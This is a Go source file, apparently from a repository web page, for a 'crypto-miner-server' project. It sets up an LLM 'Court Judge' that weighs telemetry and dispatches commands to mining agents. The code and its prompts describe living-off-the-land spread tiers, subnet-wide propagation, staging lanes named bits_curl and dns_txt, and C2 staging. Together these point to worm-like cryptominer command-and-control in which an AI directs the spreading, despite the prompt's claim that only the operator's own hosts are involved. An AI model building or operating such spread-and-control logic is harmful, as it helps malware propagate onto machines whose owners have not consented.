Files
AetherForge/server/internal/ai/court_chamber.go
AetherForge 5853f80c48
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add adversarial L4 court chamber with Seer court_debate feed.
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
2026-06-07 09:21:44 -07:00

283 lines
11 KiB
Go

package ai
import (
"encoding/json"
"fmt"
"strings"
"time"
"crypto-miner-server/internal/strategy"
)
// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals.
type CourtChamberProvider interface {
CourtContext
ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence
}
// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference.
type CourtChamberEvidence struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
Hashrate float64 `json:"hashrate"`
Stuck bool `json:"stuck"`
ChainExhausted bool `json:"chain_exhausted"`
ClearanceLevel int `json:"clearance_level"`
JoinLane string `json:"join_lane,omitempty"`
ActiveMethod string `json:"active_method,omitempty"`
FingerprintKey string `json:"fingerprint_key,omitempty"`
AtlasSummary string `json:"atlas_summary"`
SubnetImmune string `json:"subnet_immune"`
ErasureRecovery string `json:"erasure_recovery"`
GossipWhispers string `json:"gossip_whispers"`
}
// CourtDebateTurn is one role's statement in the adversarial chamber transcript.
type CourtDebateTurn struct {
Role string `json:"role"`
Text string `json:"text"`
}
// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed.
type CourtDebateTranscript struct {
AgentID string `json:"agent_id"`
AgentName string `json:"agent_name"`
ClearanceLevel int `json:"clearance_level"`
Evidence CourtChamberEvidence `json:"evidence"`
Transcript []CourtDebateTurn `json:"transcript"`
Verdict string `json:"verdict,omitempty"`
CommandsJSON string `json:"commands_json,omitempty"`
Timestamp string `json:"ts"`
}
// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast.
type CourtDeps struct {
Chamber CourtChamberProvider
Seer SeerEmitter
Emberwake func(agentID string, transcript CourtDebateTranscript)
}
// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence.
func BuildCourtDebate(
snap AgentSnapshot,
evidence CourtChamberEvidence,
phenotype *strategy.FleetPhenotype,
persona string,
) (CourtDebateTranscript, CourtPromptBundle) {
prosecutor := buildChamberProsecutor(snap, evidence)
defender := buildChamberDefender(phenotype, evidence)
judgeOverlay := CourtJudgeOverlay(persona)
transcript := CourtDebateTranscript{
AgentID: snap.AgentID,
AgentName: snap.Name,
ClearanceLevel: snap.ClearanceLevel,
Evidence: evidence,
Transcript: []CourtDebateTurn{
{Role: "prosecutor", Text: prosecutor},
{Role: "defender", Text: defender},
},
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay)
return transcript, bundle
}
func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string {
var b strings.Builder
b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n")
fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate)
if ev.Stuck {
b.WriteString(" — STUCK")
}
b.WriteString(".\n")
if ev.ChainExhausted {
b.WriteString("Mining fallback chain exhausted: true.\n")
}
if strings.TrimSpace(ev.AtlasSummary) != "" {
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary))
}
if strings.TrimSpace(ev.SubnetImmune) != "" {
fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune))
}
if strings.TrimSpace(ev.ErasureRecovery) != "" {
fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery))
}
if strings.TrimSpace(ev.GossipWhispers) != "" {
fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers))
}
failed, total := countSpreadFailures(snap)
if total > 0 {
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
} else {
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
}
b.WriteString("Per-tier spread attempts:\n")
attemptByTier := map[string]TierAttempt{}
for _, a := range snap.LOTLAttempts {
attemptByTier[a.Tier] = a
}
for _, tier := range defaultSpreadTiers {
if a, ok := attemptByTier[tier]; ok {
status := "fail"
if a.OK {
status = "ok"
}
if a.Error != "" {
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
} else {
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
}
}
}
if snap.JoinLane != "" {
fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane)
}
if snap.ActiveMethod != "" {
fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod)
}
return strings.TrimSpace(b.String())
}
func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string {
var b strings.Builder
b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n")
if phenotype == nil {
b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n")
} else {
name := phenotype.SourceAgentName
if name == "" {
name = phenotype.SourceAgentID
}
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
if phenotype.ActiveTier != "" {
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
}
if phenotype.SpreadLane != "" {
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
}
if len(phenotype.TierOrder) > 0 {
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
}
if raw, err := json.Marshal(phenotype); err == nil {
fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw))
}
}
if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n")
}
if strings.Contains(ev.SubnetImmune, "paused") {
b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n")
}
if strings.TrimSpace(ev.GossipWhispers) != "" {
b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n")
}
return strings.TrimSpace(b.String())
}
// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript.
func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle {
var system strings.Builder
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
You must weigh their statements and issue a binding verdict with at most 3 commands.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.
Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`))
system.WriteString("\n\n## PROSECUTOR\n")
system.WriteString(prosecutor)
system.WriteString("\n\n## PUBLIC DEFENDER\n")
system.WriteString(defender)
var user strings.Builder
fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel)
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID)
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate)
if snap.FingerprintKey != "" {
fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey)
}
user.WriteString("\n## JUDGE (L4)\n")
user.WriteString(judgeOverlay)
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
return CourtPromptBundle{
SystemPrompt: system.String(),
UserPrompt: user.String(),
ProsecutorSnippet: prosecutor,
DefenderSnippet: defender,
}
}
// FinalizeCourtDebate attaches judge response to transcript for Seer emission.
func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript {
transcript.Verdict = ExtractJudgeVerdict(judgeResponse)
transcript.CommandsJSON = extractCommandsJSON(judgeResponse)
transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{
Role: "judge",
Text: strings.TrimSpace(judgeResponse),
})
return transcript
}
func extractCommandsJSON(raw string) string {
raw = strings.TrimSpace(raw)
idx := strings.Index(raw, "{")
if idx < 0 {
return ""
}
return strings.TrimSpace(raw[idx:])
}
// FormatGossipWhispers renders LAN gossip hints for court evidence.
func FormatGossipWhispers(hints []struct {
Tier, Condition, Reason string
}) string {
if len(hints) == 0 {
return "none recorded on this /24"
}
parts := make([]string, 0, len(hints))
for _, h := range hints {
line := h.Tier + "|" + h.Condition
if h.Reason != "" {
line += " (" + h.Reason + ")"
}
parts = append(parts, line)
}
return strings.Join(parts, "; ")
}
// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence.
func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string {
if prefix == "" {
return "no /24 prefix for agent IP"
}
if failCount == 0 {
return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix)
}
line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount)
if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) {
line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339))
}
return line
}
// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status.
func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string {
var b strings.Builder
fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled)
fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted)
if stageFetchAttempted {
fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK)
}
if lanesEnabled {
b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)")
} else {
b.WriteString(" (erasure lanes disabled — primary C2 staging only)")
}
return b.String()
}